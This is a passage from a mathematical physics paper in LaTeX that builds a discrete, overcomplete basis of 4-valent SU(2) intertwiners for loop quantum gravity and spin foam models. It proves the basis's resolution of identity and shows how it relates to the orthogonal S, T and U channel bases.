It has been observed long ago that the compositions of quantum states of angular momentum are related to geometrical objects \cite{Schwinger, wigner, Bargmann}. The simplest example is the Clebsch-Gordan coefficients which vanish unless the spins satisfy the so called triangle relations. A less trivial example is the Wigner 6j symbol which vanishes unless the spins can represent the edge lengths of a tetrahedron. This insight was one of the motivations which led Ponzano and Regge to use the 6j symbol as the building block for a theory of quantum gravity in three dimensions \cite{Regge:1961px,PR}, together with the fact that the asymptotic limit of the 6j symbol is related to the discretized version of the Einstein-Hilbert action. In higher dimensions this line of thought led to the idea of spin foam models which are a generalization of Ponzano and Regge's idea to a four dimensional model of quantum General Relativity. For a review see \cite{Perez:2012wv}.
Following a canonical approach, Loop Quantum Gravity came to the same conclusion: Geometrical quantities such area and volume are quantized \cite{Rovelli:1994ge}. In fact there are many remarkable similarities between LQG and spin foam models. For instance, the building blocks of both models are SU(2) intertwiners which represent quanta of space \cite{Barbieri:1997ks,Baez:1999tk, Rovelli:2006fw}. An intertwiner is simply an invariant tensor on the group. In other words if we denote by $V^{j}$ the $2j+1$ dimensional vector space representing spin $j$ then an intertwiner is an element of the SU(2) invariant subspace of this tensor product which we will denote
\begin{equation} \label{eqn_inter_space}
{\mathcal H}_{j_1,...,j_n} \equiv \text{Inv}_{\text{SU}(2)}\left[V^{j_1} \otimes \cdots \otimes V^{j_n} \right].
\end{equation}
The vectors in this Hilbert space will be referred to as $n$-valent intertwiners since they are represented graphically by an $n$-valent node. The legs of this node carry the spins $j_i$ which can be interpreted as the areas of the faces of a polyhedron \cite{OH,LFetera1,LFetera2,Bianchi:2010gc} which is a consequence of the celebrated Guillemin-Sternberg theorem \cite{GS}. In this paper we will be focused on 4-valent intertwiners but many of the methods developed here can be extended to the $n$-valent case.
Two types of basis for the space (\ref{eqn_inter_space}) are usually considered. The most common one is a discrete basis
which diagonalizes a commuting set of operators invariant under adjoint action. Each of these operators is associated with a decomposition of an $n$-valent vertex as a contraction of 3-valent ones and the basis elements are constructed by the contraction of 3-valent intertwiners along the corresponding channels.
In the 4-valent case the different bases correspond to the $S,T, U$ channels and are labelled by one extra spin.
Bases constructed in this way are orthonormal, but lack sufficient data to describe a classical geometry. For example a tetrahedron is uniquely determined by six quantities, such as the four areas and two of the dihedral angles between faces. Therefore the orthonormal basis of 4-valent intertwiners, having only five labels, is not suitable for the specification of a fixed tetrahedral geometry.
Another basis usually considered is the coherent state basis (introduced in Loop gravity by Livine Speziale \cite{coh1}) which
overcomes this difficulty by introducing an overcomplete basis for ${\cal H}_{j_{1}\cdots j_{n}}$ which is labelled by a set of normal vectors. In the semiclassical limit these normal vectors satisfy the closure relation and can be identified with the vectors normal to the faces of a tetrahedron whose areas are proportional to the spins $j_{i}$ \cite{Conrady:2009px,Freidel:2009nu}. These insights have since led to a reformulation of LQG in terms of twisted geometries \cite{twisted} obtained by matching the normal vectors corresponding to faces of classical polyhedra, but such that the shapes of the glued faces do not necessarily match.
One of the drawbacks of this basis, however, is that it introduces a continuum of states to represent a simple finite dimensional Hilbert space. Moreover, in this representation the link with the real basis and its simplicity is lost.
What we want to investigate is whether there exists a basis which captures the essence of both constructions by being at the same time discrete and coherent.
We provide here such a construction for the Hilbert spaces ${\cal H}_{j_{1}\cdots j_{n}}$ and focus our description to the 4-valent case, which exemplifies the main features of this basis.
We will also show that it leads to a simple generalization of the Racah formula when we use these intertwiners in the spin-network evaluation of a general graph.
This basis arises naturally in the expansion of generating functionals for spin networks which were provided in \cite{FH_exact}. Finally we present a new $\{20j\}$ symbol corresponding to the coherent spin network amplitude on a 4-simplex which is a simple generalization of the $\{15j\}$ symbol.
We find that this new basis of intertwiners is overcomplete, but is labelled by a set of discrete labels. Further, we show that the discrete basis generates the different orthonormal bases by simply summing over the extra labels. In this way many of the different variations of recoupling coefficients in the orthonormal bases can be generated from these more fundamental amplitudes. For example the different versions of the $\{15j\}$ symbol can be obtained by summing over five spins of the $\{20j\}$ symbol.
Finally we show that the semiclassical limit of the discrete basis corresponds to a classical framed tetrahedron in the same way as the coherent intertwiners. A framed tetrahedron is a tetrahedron with a unit vector in each of the faces representing a 2d frame. This frame vector is determined by the phase of the spinor and encodes the extrinsic geometry of the triangulation. The asymptotics of the $\{20j\}$ symbol imply a classical action which, under certain geometricity constraints, is found to agree with the Regge action, which agrees with the analysis in \cite{Dittrich:2008ar} and \cite{Dittrich:2010ey}. When these constraints are not imposed the geometry is twisted in the sense of \cite{twisted}.
The paper is organized as follows. First we define the new basis of $n$-valent intertwiners in the holomorphic representation and we describe the 3-valent case. Next we investigate the 4-valent case and construct the resolution of identity. We then compute the action of the invariant operators and show how the new basis relates to the orthonormal bases. Using generating functional techniques we compute the scalar product in the new basis, and use the relations with the orthogonal basis to generate the various other possible scalar products. We then discuss the utility of this basis in representing and computing spin network amplitudes and introduce the $\{20j\}$ symbol in the 4-valent case. Finally we study the semi-classical behaviour of the new states and we show that they correspond uniquely to classical framed tetrahedra. Moreover, the asymptotics of the $\{20j\}$ symbol is shown to admit an interpretation as a generalization of the Regge action to twisted geometry.
\section{The New Basis}
One particularly useful representation of SU(2) is the so called Bargmann-Fock or holomorphic representation \cite{Bargmann,Schwinger}. This space consists of holomorphic functions on spinor space ${\mathbb C}^2$ endowed with the Hermitian inner product
\begin{equation} \label{barg_in_prod}
\langle f | g \rangle = \int_{{\mathbb C}^2} \overline{f(z)} g(z) \mathrm{d}\mu(z)
\end{equation}
where $\mathrm{d}\mu(z) = \pi^{-2} e^{-\langle z | z \rangle} \mathrm{d}^{4}z$ and $\mathrm{d}^{4}z$ is the Lebesgue measure on ${\mathbb C}^2$
and we use the bra-ket notation for the scalar product of the two states $|f\rangle, |g\rangle$ defined by
$ f(z) \equiv (z|f\rangle$. The group SU(2) acts irreducibly on representations of spin $j$ given by the
$2j+1$ dimensional subspaces of holomorphic functions homogeneous of degree $2j$.
The standard orthonormal basis with respect to this inner product is given by
\begin{equation}
e^{j}_{m}(z) = \frac{\alpha^{j+m}\beta^{j-m}}{\sqrt{(j+m)!(j-m)!}},
\end{equation}
which are simply the holomorphic represention of the SU(2) basis elements which diagonalize the operator $J_3$. Here $(\alpha, \beta)\in {\mathbb C}^{2}$ represents the components of the spinor $|z\rangle$.
In the following we will heavily use the fact that there are two SU(2) invariant products on spinor space, only one of which is holomorphic:\footnote{In fact because $[ z_i | z_j \rangle$ is holomoprhic it is automatically $\mathrm{SL}(2,{\mathbb C})$ invariant. The other SU(2) invariant is $\langle z_i | z_j \rangle = \bar{\alpha}_i \beta_j + \alpha_j \bar{\beta}_{i}$ }:
\begin{equation}
[z_i|z_j\rangle = \alpha_{i}\beta_{j} - \alpha_{j}\beta_{i}
\end{equation}
where we use the notation
$$|z\rangle \equiv (\alpha, \beta )^t, \qquad |z] \equiv ( -\overline{\beta}, \overline{\alpha} )^t.$$
We will also use the notation $\check{z}$ to denote the conjugate spinor $|\check{z}\rangle \equiv |z]$.
In the spin $j$ representation we define coherent states $|j,z\rangle$ to be the holomorphic functionals
\begin{equation}
(w|j,z\rangle \equiv \frac{[w|z\rangle^{2j}}{(2j)!}.
\end{equation}
These states possess the characteristic property that their scalar product with any spin $j$ state $|f\rangle$ reproduces the functional $f(z)$, that is
\begin{equation}
\langle j, \check{z} | f\rangle = f(z).
\end{equation}
This follows from a direct computation which shows that
$
(w|j,z\rangle =\langle j,\check{w}|j,z\rangle.
$
This property implies that we can identify the label $(z|$ of $(z|f\rangle$ with the state $\langle j,z|$ when
evaluated on a spin $j$ functional. In the following we will use interchangeably the notation $(z|=\langle j,\check{z}|$ for the labels.
\subsection{Intertwiner Bases}
In this holomorphic representation there are two natural and straightforward bases of $n$-valent intertwiners, i.e. functions of the spinors $z_{1},\cdots ,z_{n}$ which are SU(2) invariant and homogeneous of degree $2j_{i}$ in $z_{i}$.
The first one is the Livine-Speziale coherent intertwiner basis \cite{coh1}, and
the second one is the discrete basis which is the new basis we want to study here.
The Livine-Speziale coherent intertwiners \cite{coh1} are defined by group averaging as the following holomorphic functionals:
\begin{equation}
(w_{i} \|j_i,z_i\rangle \equiv \int \mathrm{d} g \prod_{i=1}^{n} \frac{ [w_{i}| g |z_i\rangle^{ 2j_i}}{(2j_i)!}.
\end{equation}
Note that the normalization of these states is different from \cite{coh1} to better suit the Bargmann scalar product (\ref{barg_in_prod}). These states are coherent in the sense that their scalar product reproduces the
holomorphic functional, they are labelled by the continuous set of data $\{z_i\}$ and they
resolve the identity:
\begin{equation}
\langle j_{i}, w_{i} \|j_i,z_i\rangle=(\check{w}_{i} \|j_i,z_i\rangle,\qquad \mathbbm{1}_{j_i} = \int \prod_i \mathrm{d}\mu(z_i) \|j_i,z_i \rangle \langle j_i,z_i\|. \label{coherent}
\end{equation}
This is shown by using the identity $\int \mathrm{d}\mu(w) = \langle a|w\rangle^{2j}\langle w|b\rangle^{2j} = (2j)! \langle a | b \rangle^{2j}$, which itself is proven by summing over $j$ and performing the Gaussian integration.
We will now show how to construct a new basis which is also coherent, resolves the identity, but is labelled by a discrete set.
Since the product $[z|w\rangle$ is holomorphic and SU(2) invariant it can be used to construct a complete basis of the intertwiner space ${\cal H}_{n}\equiv \oplus_{j_{i}}{\cal H}_{j_{1}\cdots j_{n}}$ by
\begin{equation}\label{C}
( z_{i} | k_{ij} \rangle \equiv \prod_{i<j}\frac{ [z_{i}|z_{j}\rangle^{k_{ij}}}{k_{ij}!}.
\end{equation}
This basis is labelled by $n(n-1)/2$ non-negative integers $[k]\equiv (k_{ij})_{i\neq j = 1,\cdots, n}$ with $k_{ij}=k_{ji}$.
Note that we are free to choose a phase convention and for simplicity we will choose it to be unity for now.\footnote{Later we will see that the asymptotic limit of the intertwiners will imply a canonical phase.}
For a basis representing the subspace ${\cal H}_{j_{1}\cdots j_{n}}$ with fixed spins $j_i$, we have $n$ homogeneity conditions which require the integers $[k]$ to satisfy
\begin{equation}\label{kj}
\sum_{j\neq i} k_{ij} =2j_{i}.
\end{equation}
The sum of spins at the vertex is defined by $J = \sum_i j_i = \sum_{i<j} k_{ij}$ and is required to be a positive integer.
From the relation $[\check{w}|\check{z}\rangle = \overline{[w|z\rangle}$ we see that these states satisfy the reality condition
\begin{equation}\label{real}
\overline{( z_{i} | k_{ij} \rangle} = ( \check{z}_{i} | k_{ij} \rangle.
\end{equation}
Furthermore, from the coherency property (\ref{coherent}) we can easily compute the overlap of these states with the coherent intertwiners:
\begin{equation}
\langle j_{i}, \check{z}_{i} || k_{ij} \rangle = ( z_{i} | k_{ij} \rangle = \langle k_{ij} || j, z_{i} \rangle .
\end{equation}
where the last equality follows from
the reality condition (\ref{real}) and the fact that $(-z_{i}|k_{ij}\rangle = (z_{i}||k_{ij}\rangle$.
In \cite{FH_exact} it is shown that the scalar product of
coherent intertwiners can be expressed in terms of the coefficients of the discrete basis as
\begin{equation}\label{fundrelation}
\langle j_{i}, \check{w}_{i} || j_{i}, z_{i}\rangle = \sum_{[k]\in K_{j}} \frac{( {w}_{i} | k_{ij} \rangle {( z_{i} | k_{ij} \rangle} }{||[k]||^{2}},\quad \mathrm{with}\quad ||[k]||^{2} =\frac{ (J+1)!}{\prod_{i<j}k_{ij}!}.
\end{equation}
where $K_{j}$ denotes all the $k_{ij}$ solution of (\ref{kj}).
This result in turn implies that
\begin{equation}
|| j_{i}, z_{i}\rangle = \sum_{[k]\in K_{j}} \frac{| k_{ij} \rangle \langle k_{ij} \| j, z_{i} \rangle }{||[k]||^{2}},
\end{equation}
which expresses the coherent states in terms of the discrete basis.
\subsection{3-valent Intertwiners}
In the case $n=3$ there is only one intertwiner. Indeed, given $[k]=(k_{12},k_{23},k_{31})$ the homogeneity restriction requires $2j_{1}=k_{12} + k_{13}$ which can be easily solved by
\begin{equation} \label{eqn_3_k}
k_{12} = j_1 + j_2 - j_3,\qquad k_{13} = j_1 - j_2 + j_3, \qquad k_{23} = -j_1 + j_2 + j_3.
\end{equation}
In this case the fact that homogeneous functions of different degree are orthogonal implies that $|{k_{12},k_{23},k_{31}}\rangle$ form an orthogonal basis
\footnote{One can also arrive at this basis by considering the respresentation space of symmetrized spinors. For details see appendix A of \cite{Rovelli:2004tv}. The two approaches are essentially the same, however in the holomorphic representation we have the advantage of tools like generating functionals and Gaussian integration.} of (\ref{eqn_inter_space}).
Since there is only one holomorphic function $( z_{i}|{[k]}\rangle $ it must be proportional to the Wigner 3j symbol
\begin{equation} \label{C3}
( z_{i}| k_{12},k_{23},k_{31} \rangle= \Delta(j_1 j_2 j_3) \sum_{m_1 m_2 m_3} \threej{j_1}{j_2}{j_3}{m_1}{m_2}{m_3} e^{j_1}_{m_1}(z_1) e^{j_2}_{m_2}(z_2) e^{j_3}_{m_3}(z_3)
\end{equation}
where the triangle coefficients can be found to be
\begin{equation} \label{eqn_tri_coeff}
\Delta^{2}(j_{1}j_{2}j_{3}) \equiv
\frac{(j_{1}+j_{2}+j_{3}+1)!}{(j_{1}-j_{2}+j_{3})! (j_{2}-j_{1}+j_{3})!(j_{1}+j_{2}-j_{3})!}.
\end{equation}
Note that we could divide $| k_{12},k_{23},k_{31}\rangle$ by $\Delta(j_1 j_2 j_3)$ to normalize this basis, but it will be simpler to instead work with these unnormalized states.
\subsection{Counting}
For $n>3$ there are more basis elements $|{k_{ij}}\rangle$ than the dimension of the intertwined space so the basis is no longer orthogonal. Indeed, since we have $n(n-1)/2$ $k_{ij}$'s satisfying $n$ relations (\ref{kj}) these intertwiners are labelled by
$n(n-3)/2$ integers. But this is clearly more that the dimension of the Hilbert space of $n$-valent intertwiners, which is known to be labelled by $n-3$ integers, i.e. by contracting only 3-valent nodes.
This means that the basis given above is { \it overcomplete}.
Another way to understand this counting is to recall that the algebra of gauge invariant operators acting on ${\cal H}_{j_{1},\cdots, j_{n}}$ is given by $J_{ij} \equiv J_{i}\cdot J_{j}$ for $i\neq j$ where $J_{i}$ denotes the angular momentum operator action in the $i$ direction.
These operators satisfy the closure relation $\sum_{i} J_{i} =0$ and the action of $J_{i}^{2}$ is given by multiplication by $j_{i}(j_{i}+1)$.
These relations mean that we can express any instance of $J_{n}$ say, by a summation of operators depending on $J_{i}$ for $i<n$. Thus a good basis of operator is for instance $J_{ij}$ for $i\neq j $ and $i,j<n$.
There are $(n-1)(n-2)/2$ such operators. They satisfy one relation that stems from the closure relation which is\begin{equation}
\sum_{i\neq j <n} J_{ij} = j_{n}(j_{n}+1) - \sum_{i<n}j_{i}(j_{i}+1).
\end{equation}
This makes it clear that if we want to maximally represent these operators we need $ n(n-3)/2$ labels.
These operators do not commute, therefore these labels represent an overcomplete basis. A maximal commuting subalgebra is of dimension $n-3$.
For example, in the case $n=4$ the basis is labelled by $2$ integers while we need only one, and
for $n=5$ it is labelled by $5$ integers while we need only two. Despite this overcompleteness we will be able to determine all of the necessary properties of these states and we will discover some interesting relations between the orthogonal bases on the one hand and coherent intertwiners on the other.
\begin{figure}
\centering
\includegraphics[width=0.8\textwidth]{STU}
\caption{The three channels of a 4-valent vertex.} \label{fig_STU}
\end{figure}
\section{The 4-valent case}
\label{4-val}
We now focus on the case $n=4$. A very convenient labelling of the basis $|{[k]}\rangle$ is done in terms of three spins $S$, $T$, $U$
which refer to the three channels in which a 4-valent vertex can be split into two three valent ones.
The relationship between these labels and the $k$ labels is given by
\begin{equation}\label{int1}
S\equiv j_{1}+j_{2} -k_{12},\quad T\equiv j_{1}+j_{3} -k_{13},\quad U\equiv j_{1}+j_{4}-k_{14}.
\end{equation}
where $S$, $T$, and $U$ are such that the $k_{ij}$ are non-negative integers. The constraints in (\ref{kj}) imply that
$ j_{1}+j_{2} -(j_{3}+j_{4}) = k_{12}-k_{34}$, thus we also have
\begin{equation}\label{int2}
S= j_{3}+j_{4}-k_{34},\quad T= j_{2}+j_{4}-k_{24},\quad U= j_{2}+j_{3}-k_{23}.
\end{equation}
Summing over all $k_{ij}$ shows that $S$, $T$, and $U$ are not independent but satisfy the relation
\begin{equation}
S+T+U=J.
\end{equation}
We can therefore label the $4$-valent intertwiner basis by the four spins $j_i$ and two extra spins $S,T$ and we will henceforth denote by
$k_{ij}(j_{i},S,T)$ the corresponding integers in (\ref{int1}, \ref{int2}).
These integers cannot take arbitrary values, since $k_{ij}$ are restricted by
$0\leq k_{ij} \leq \mathrm{max}(2j_{i},2j_{j})$, this restriction\footnote{It is given by
\begin{eqnarray}
\mathrm{max}(|j_{1}-j_{2}|, |j_{3}-j_{4}|) \leq &S& \leq \mathrm{min}(j_{1}+j_{2}, j_{3}+j_{4}), \\
\mathrm{max}(|j_{1}-j_{3}|, |j_{3}-j_{4}|) \leq &T& \leq \mathrm{min}(j_{1}+j_{3}, j_{3}+j_{4}),\\
\mathrm{max}(j_{1}+j_{4}, j_{2}+j_{3}) \leq S &+&T \leq J - \mathrm{max}(|j_{1}-j_{4}|, |j_{2}-j_{3}|).
\end{eqnarray}
} is denoted by $(S,T)\in {\cal N}_{j_{i}}$.
In the case all spins are equal to $N/2$ this is simply $0\leq S,T\leq N$, $N\leq S+T\leq 2N$.
We will denote the corresponding basis by
$|S,T\rangle_{j_{i}}$ where
\begin{equation} \label{eqn_ST_notation}
|S,T\rangle_{j_{i}} \equiv |[k](j_{i},S,T)\rangle.
\end{equation}
In the following we will omit the subscript $j_{i}$ and use the shorthand $|S,T\rangle \equiv \left| S, T \right\rangle_{j_{i}}$ for notational simplicity when the context is clear and the external spins are fixed.
\subsection{Overcompletness and Identity Decomposition}
As discussed above, the $|S,T\rangle$ basis has one extra label and is thus overcomplete. We will now investigate the nature of the relations among these states which is summarized by the following theorem:
\begin{theorem}
The $|S,T\rangle$ states are not linearly independent; all the relations among them are generated by the fundamental relation
\begin{equation} \label{fund_rel}
(k_{12}+1)(k_{34}+1) \left| S-1,T \right\rangle - (k_{13}+1)(k_{24}+1) \left| S,T-1 \right\rangle +k_{14}k_{23} \left| S,T \right\rangle =0
\end{equation}
where $k_{ij}$ stands for $k_{ij}(j_{i},S,T)$.
\end{theorem}
It turns out that the relation among the states is easily seen in the holomorphic representation.
It is well known that the gauge invariant quantities $[z_{i}|z_{j}\rangle$ are not independent,
they satisfy the Pl\"ucker relation:
\begin{equation} \label{eqn_R_plucker}
R(z_i)\equiv [z_{1}|z_{2}\rangle[z_{3}|z_{4}\rangle - [z_{1}|z_{3}\rangle[z_{2}|z_{4}\rangle + [z_{1}|z_{4}\rangle[z_{2}|z_{3}\rangle =0.
\end{equation}
In order to write the effect of this relation on the states $|S,T\rangle_{j_{i}}$
lets compute first the effect of multiplication by one monomial
\begin{eqnarray}\nonumber
[z_{1}|z_{2}\rangle[z_{3}|z_{4}\rangle ( z_{i} | S,T\rangle_{j_{i}-\frac12}
= ({k_{12}k_{34}})(j_{i},S,T ) ( z_{i} | S,T+1\rangle_{j_{i}}
\end{eqnarray}
where we used that $k_{12}(j_{i}-\frac12,S,T) +1 = k_{12}(j_{i},S,T )= k_{12}(j_{i},S,T +1)$,
while
$k_{13}(j_{i}-\frac12,S,T) = k_{13}(j_{i},S,T)-1 = k_{13}(j_{i},S,T+1)$,
and $k_{14}(j_{i}-\frac12,S,T) = k_{14}(j_{i},S,T)+ 1 = k_{14}(j_{i},S,T+1)$.
Performing similar computations for the different monomials we find that the multiplication by the Pl\"ucker relation can be implemented in terms of an operator $\hat{R} : {\cal{H}}_{j_{i}-\frac12} \rightarrow {\cal{H}}_{j_{i}}$
whose image vanishes identically. It is defined by
$ R(z_{i}) ( z_{i} | S,T\rangle_{j_{i}-\frac12} = ( z_{i}| \hat{R} | S,T\rangle_{j_{i}-\frac12}$ where $\hat{R}$ is given by
\begin{equation}
\hat{R} | S,T\rangle_{j_{i}-\frac12} =
{k_{12}k_{34}} | S,T+1\rangle_{j_{i}}
- {k_{13}k_{24}} |S+1,T\rangle_{j_{i}}
+ (k_{14}+2)(k_{23} +2) |S+1,T+1\rangle_{j_{i}}
\end{equation}
here $k_{ij}$ denotes $ k_{ij}(j_{i}, S, T)$.
By shifting the parameters $S\to S-1$ and $T\to T-1$ and using that
$ k_{12}(j_{i}, S -1, T-1)= k_{12} +1$ etc. we obtain the desired relation stated in the theorem.
By taking powers of the operator $\hat{R}$ we can generate many more relations which we will discuss in a later section.
Despite the linear dependence of these states they admit a resolution of identity, consistent with a coherent state basis:
\begin{theorem} \label{thm_completeness}
The resolution of identity on the space of 4-valent intertwiners has the simple form
\begin{equation} \label{eqn_res_id}
\mathbbm{1}_{{\cal H}_{j_{i}}} = \sum_{S,T} \frac{|S,T\rangle \langle S,T|}{\|S,T\|_{j_{i}}^2}, \qquad \|S,T\|^2_{j_{i}} \equiv \frac{(J+1)!}{\prod_{i<j}k_{ij}!}.
\end{equation}
\end{theorem}
We give a proof of this theorem in Appendix \ref{app_completeness} which is specific to the 4-valent case. The resolution of identity in the $n$-valent case has a similar form and follows from the relations (\ref{fundrelation}).
We will show that despite the fact that they are discrete, the $|S,T\rangle$ basis shares many of the same properties as the coherent intertwiners such as the correspondence with classical tetrahedra in the semi-classical limit. In addition the $|S,T\rangle$ states also possess a simple relation with the orthogonal basis as we will show in the next section .
\subsection{The Relation with the Orthogonal Basis}
In the previous sections we introduced a new and overcomplete basis of the space of 4-valent intertwiners which provided a simple decomposition of the identity. On the other hand, the standard basis of 4-valent intertwiners is orthogonal, and is defined by the eigenstates of either of the invariant operators $J_{1}\cdot J_{2}$ or $J_{1}\cdot J_{3}$ or $J_{1}\cdot J_{4}$. We will denote these orthogonal bases by $|S\rangle$ and $|T\rangle$ and $|U\rangle$ respectively. We would now like to investigate the action of the $S$ and $T$ channel operators $J_{1}\cdot J_{2}$ and $J_{1}\cdot J_{3}$ on $\left|S,T\right\rangle$ as well as the relationship between the four bases: $\left|S,T\right\rangle$, $\left|S\right\rangle$, $\left|T\right\rangle$, $ | U\rangle$.
It is well known that, up to normalization,
the usual 4-valent intertwiner basis is obtained by the composition of two trivalent intertwiners.
For now we will focus on the $|S\rangle$ states, which in the holomorphic representation, are defined to be
\begin{eqnarray} \label{eqn_S_def}
\left( z_i | S \right\rangle \equiv \int \mathrm{d}\mu(z) {C}_{(j_{1},j_{2},S)}(z_{1},z_{2},\check{z}) {C}_{(S,j_{3},j_{4})}(z,z_{3},z_{4}),
\end{eqnarray}
where $|\check{z}\rangle \equiv |z]$ and ${C}_{(j_{1},j_{2},S)}(z_{1},z_{2},\check{z}) = (z_{1},z_{2},\check{z}|k_{ij}(j_{1},j_{2},S)\rangle$. As shown in \cite{OH, LFetera1} the operators $J_{i}\cdot J_{j}$ in the holomorphic representation can be written in terms of the SU$(N)$ operators
\begin{equation}
E_{ij}\equiv z_{i}^{A}\partial_{z_{j}^{A}},
\end{equation}
as the quadratic combinations
\begin{equation}
2J_{i}\cdot J_{j} = E_{ij}E_{ji}-\frac12 E_{ii}E_{jj} - E_{ii}.
\end{equation}
The operator $E_{ij}$ acts nontrivially only on a function of $z_{j}$ and its action amounts to replacing $z_{j}$ by $z_{i}$, i-e
\begin{equation}
E_{ij}\cdot [z_{j}|w\rangle = [z_{i}|w\rangle.
\end{equation}
Using this we can now compute the action of $J_1 \cdot J_2$ on $|S\rangle$. First note that the action of $E_{ii}$ on $|S\rangle$ is given by $2j_{i}$ and the action of $E_{12}E_{21}$ is given by $(j_1-j_2+S)(-j_1+j_2+S+1)$. Therefore the action of $J_1 \cdot J_2$ on $|S\rangle$ is found to be
\begin{eqnarray} \label{eqn_eigen_J_dot_J}
J_{1}\cdot J_{2} \left|S\right\rangle &=& \frac12\left(S(S+1) - j_{1}(j_{1}+1) - j_{2}(j_{2}+1)\right) \left|S\right\rangle
\end{eqnarray}
We are now in a position to discuss the physical interpretation of the spins $S$ and $T$. From equation (\ref{eqn_eigen_J_dot_J}) we see that the operator $(J_1 +J_2)^2$ is diagonal in the $|S\rangle$ basis with eigenvalue $S(S+1)$. In \cite{Baez:1999tk} it is pointed out that if $A_1$ and $A_2$ are the classical area vectors of two faces of a tetrahedron then $|A_1 + A_2|^2$ is equal to four times the area of the medial parallelogram between the two faces. The spins $T$ and $U$ would then be the areas of the other two medial parallelograms in the tetrahedron.
This interpretation, however, does not hold for the $|S,T\rangle$ states as we will see by computing the action $J_1 \cdot J_2$ on $|S,T\rangle$. We will find the true correspondence with the classical variables when we study the semi-classical limit.
\begin{theorem}
The action of $J_1 \cdot J_2$ on $|S,T\rangle$ does not change the value of $S$ and it is given by
\begin{eqnarray} \label{Jact1}
2J_{1}\cdot J_{2} \left|S,T \right\rangle = \left(S(S+1) - j_{1}(j_{1}+1) - j_{2}(j_{2}+1)\right) \left|S,T \right\rangle \\
+\left( (k_{14}+1)(k_{23}+1) \left|S,T-1 \right\rangle -
k_{14}k_{23} \left|S,T \right\rangle \right) \nonumber \\
+\left( (k_{13}+1)(k_{24}+1) \left|S,T+1 \right\rangle -
k_{13}k_{24} \left|S,T \right\rangle \right). \nonumber
\end{eqnarray}
where $k_{ij}$ stands for $k_{ij}(j_i,S,T)$. Similarly the action of $J_1 \cdot J_3$ does not change the value of $T$.
\end{theorem}
\begin{proof}
The action of $E_{ii}$ on $|S,T\rangle$ is given by $2j_{i}$ while the action of $E_{12}E_{21}$ on $|S,T\rangle$ is
\begin{eqnarray}
\left( k_{13}(k_{23}+1) + k_{14}(k_{24}+1) \right)|S,T\rangle + (k_{13}+1)(k_{24}+1)|S,T+1\rangle + (k_{14}+1)(k_{23}+1)|S,T-1\rangle. \nonumber
\end{eqnarray}
Now with this and the relation
\begin{equation}
k_{13}k_{23} + k_{14}k_{24} = S^{2}- (j_{1}-j_{2})^{2} - k_{13}k_{24}-k_{14}k_{23}
\end{equation}
we find the desired result. The action of $J_1 \cdot J_3$ can be deduced from a permutation exchanging $1$ and $3$, under such a permutation $J_1 \cdot J_3 \to J_1 \cdot J_2$ and $ (-1)^{k_{23}} |S,T\rangle \to |T, S\rangle$ .
Similarly under an exchange of $1$ and $4$, $J_1 \cdot J_4 \to J_1 \cdot J_2$ and $ (-1)^{k_{23}+k_{34}} |S,T\rangle \to |U, T\rangle$ .
\end{proof}
While the $S$ and $T$ spins don't share the interpretation of areas of parallelograms like in the orthogonal basis (since there are extra diagonal terms), it turns out that they are still closely related as we will now show. First of all, notice that the coefficient of the first term in (\ref{Jact1}) is the same as the eigenvalue in (\ref{eqn_eigen_J_dot_J}). Furthermore, if one sums over $T$ in (\ref{Jact1}) it can be seen that the last two terms cancel out because $k_{13}(j_{i},S,T-1)= k_{13}(j_{i},S,T)+1$,
$k_{14}(j_{i},S,T+1)= k_{14}(j_{i},S,T)+1$... and so on.
Therefore $\sum_{T} \left|S,T \right\rangle$ is {\it proportional } to $\left| S \right\rangle$. What we will now show in the following theorem is that the proportionality constant is exactly one.
\begin{theorem} \label{thm_sum_T}
The orthogonal basis is obtained from the $\left|S,T \right\rangle$ basis by summing over the $S$ or $T$ channels
\begin{equation}
\left| S \right\rangle =\sum_{T} \left|S,T \right\rangle, \hspace{12pt} \left| T \right\rangle =\sum_{S} (-1)^{k_{23}} \left| S,T \right\rangle, \quad \left| U \right\rangle =\sum_{S+T=J-U} (-1)^{k_{23}+k_{34}} \left| S,T \right\rangle.
\end{equation}
\end{theorem}
\begin{proof}
Using the generating functionals in (\ref{defC}) in analogy with the definition (\ref{eqn_S_def}) of $|S\rangle$ we can perform the following Gaussian integral
\begin{eqnarray} \label{eqn_gen_fun_S_ST}
&& \int \mathrm{d}\mu(z){\cal C}_{(\tau_{1},\tau_{2},\tau_{12})}(z_{1},z_{2},\check{z}) {\cal C}_{(\tau_{3},\tau_{4},\tau_{34})}(z,z_{3},z_{4}) \\
&=& e^{\tau_{12}[z_1|z_2\rangle + \tau_{34}[z_3|z_4\rangle} \int \mathrm{d}\mu(z) e^{\tau_{1}[\check{z}|z_1\rangle + \tau_{2}[\check{z}|z_2\rangle} e^{\tau_{3}[z|z_3\rangle + \tau_{4}[z|z_4\rangle}
= e^{\sum_{i<j} \tau_{ij} [z_i|z_j\rangle}
= {\cal C}_{(\tau_{ij})}(z_{i}), \nonumber
\end{eqnarray}
where $|\check z\rangle = |z]$ and $\tau_{13}=\tau_{1}\tau_{3}$, $\tau_{14}=\tau_{1}\tau_{4}$, $\tau_{23}=\tau_{2}\tau_{3}$, $\tau_{24}=\tau_{2}\tau_{4}$. Now let $k_{1} = j_{1}-j_{2}+S$, $k_{2} = j_{2}-j_{1}+S$, $k_{3} = j_{3}-j_{4}+S$, and $k_{4} = j_{4}-j_{3}+S$ as prescribed by (\ref{eqn_3_k}). Then looking at the coefficient of
\begin{equation}
\tau_{12}^{k_{12}}\tau_{1}^{k_{1}} \tau_{2}^{k_{2}}\tau_{3}^{k_{3}} \tau_{4}^{k_{4}}\tau_{34}^{k_{34}}
\end{equation}
we get the conditions $k_{1} = k_{13}+k_{14}$, $k_{2} = k_{23}+k_{24}$, $k_{3} = k_{13}+k_{34}$, and $k_{4} = k_{14}+k_{24}$. These conditions are trivially satisfied if the $k_{ij}$ are defined as in (\ref{int1}) and (\ref{int2}) which can be seen for instance by adding $k_{12}$ to the first condition. Notice, however that the LHS of (\ref{eqn_gen_fun_S_ST}), when expanded, is a sum over $j_i$ and $S$ whereas the RHS is a sum over $j_i$, $S$, and $T$. Thus we get the identity
\begin{equation}
\int \mathrm{d}\mu(z) {C}_{(j_{1},j_{2},S)}(z_{1},z_{2},\check{z}) {C}_{(S,j_{3},j_{4})}(z,z_{3},z_{4})
= \sum_{T} ( z_{i}| S,T\rangle_{j_{i}}.
\end{equation}
which implies $|S\rangle = \sum_T |S,T\rangle$.The other identities are obtained by permutation of indices.
\end{proof}
\begin{figure}
\centering
\includegraphics[width=0.7\textwidth]{sum_STU}
\caption{The graphical representation of theorem \ref{thm_sum_T} where a 4-valent vertex labelled by S and T is summed over T to produce the S channel decomposition.} \label{fig_sumT}
\end{figure}
